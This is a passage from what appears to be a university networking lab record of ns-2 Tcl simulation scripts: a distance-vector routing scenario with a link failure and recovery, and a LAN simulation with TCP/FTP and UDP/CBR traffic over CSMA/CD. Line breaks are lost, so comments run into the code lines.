# specify layout as a octagon$ns duplex-link-op $n1 $n2 orient left-up$ns duplex-link-op $n2 $n3 orient up$ns duplex-link-op $n3 $n4 orient right-up$ns duplex-link-op $n4 $n5 orient right$ns duplex-link-op $n5 $n6 orient right-down$ns duplex-link-op $n6 $n7 orient down$ns duplex-link-op $n7 $n8 orient left-down$ns duplex-link-op $n8 $n1 orient left

#Create a UDP agent and attach it to node n1set udp0 [new Agent/UDP]$ns attach-agent $n1 $udp0

#Create a CBR traffic source and attach it to udp0set cbr0 [new Application/Traffic/CBR]$cbr0 set packetSize_ 500$cbr0 set interval_ 0.005$cbr0 attach-agent $udp0

#Create a Null agent (a traffic sink) and attach it to node n4set null0 [new Agent/Null]$ns attach-agent $n4 $null0

#Connect the traffic source with the traffic sink$ns connect $udp0 $null0

#Schedule events for the CBR agent and the network dynamics$ns at 0.0 "$n1 label Source"$ns at 0.0 "$n4 label Destination"$ns at 0.5 "$cbr0 start"$ns rtmodel-at 1.0 down $n3 $n4$ns rtmodel-at 2.0 up $n3 $n4$ns at 4.5 "$cbr0 stop"

#Call the finish procedure after 5 seconds of simulation time$ns at 5.0 "finish"

#Run the simulation$ns run

Page 72: CS2307 rec

Output

$ ns distvect.tcl

Page 73: CS2307 rec
Page 74: CS2307 rec

Program

#Lan simulation – mac.tcl

set ns [new Simulator]

#define color for data flows$ns color 1 Purple$ns color 2 MAgenta

#open tracefileset tracefile1 [open out.tr w]$ns trace-all $tracefile1

#open nam fileset namfile [open out.nam w]$ns namtrace-all $namfile

#define the finish procedureproc finish {} {

global ns tracefile1 namfile$ns flush-traceclose $tracefile1close $namfileexec nam out.nam &exit 0

}

#create six nodesset n0 [$ns node]set n1 [$ns node]set n2 [$ns node]set n3 [$ns node]set n4 [$ns node]set n5 [$ns node]

# Specify color and shape for nodes$n1 color MAgenta$n1 shape box$n5 color MAgenta$n5 shape box $n0 color Purple$n4 color Purple

#create links between the nodes$ns duplex-link $n0 $n2 2Mb 10ms DropTail$ns duplex-link $n1 $n2 2Mb 10ms DropTail$ns simplex-link $n2 $n3 0.3Mb 100ms DropTail$ns simplex-link $n3 $n2 0.3Mb 100ms DropTail

Page 75: CS2307 rec

# Create a LANset lan [$ns newLan "$n3 $n4 $n5" 0.5Mb 40ms LL Queue/DropTail MAC/Csma/Cd Channel]

#Give node position$ns duplex-link-op $n0 $n2 orient right-down$ns duplex-link-op $n1 $n2 orient right-up$ns simplex-link-op $n2 $n3 orient right$ns simplex-link-op $n3 $n2 orient left

#setup TCP connectionset tcp [new Agent/TCP/Newreno]$ns attach-agent $n0 $tcpset sink [new Agent/TCPSink/DelAck]$ns attach-agent $n4 $sink$ns connect $tcp $sink$tcp set fid_ 1$tcp set packet_size_ 552

#set ftp over tcp connectionset ftp [new Application/FTP]$ftp attach-agent $tcp

#setup a UDP connectionset udp [new Agent/UDP]$ns attach-agent $n1 $udpset null [new Agent/Null]$ns attach-agent $n5 $null$ns connect $udp $null$udp set fid_ 2

#setup a CBR over UDP connectionset cbr [new Application/Traffic/CBR]$cbr attach-agent $udp$cbr set type_ CBR$cbr set packet_size_ 1000$cbr set rate_ 0.05Mb$cbr set random_ false

#scheduling the events$ns at 0.0 "$n0 label TCP_Traffic"$ns at 0.0 "$n1 label UDP_Traffic"$ns at 0.3 "$cbr start"$ns at 0.8 "$ftp start"$ns at 7.0 "$ftp stop"$ns at 7.5 "$cbr stop"$ns at 8.0 "finish"

$ns run

Page 76: CS2307 rec

Output

$ ns mac.tcl


Recommended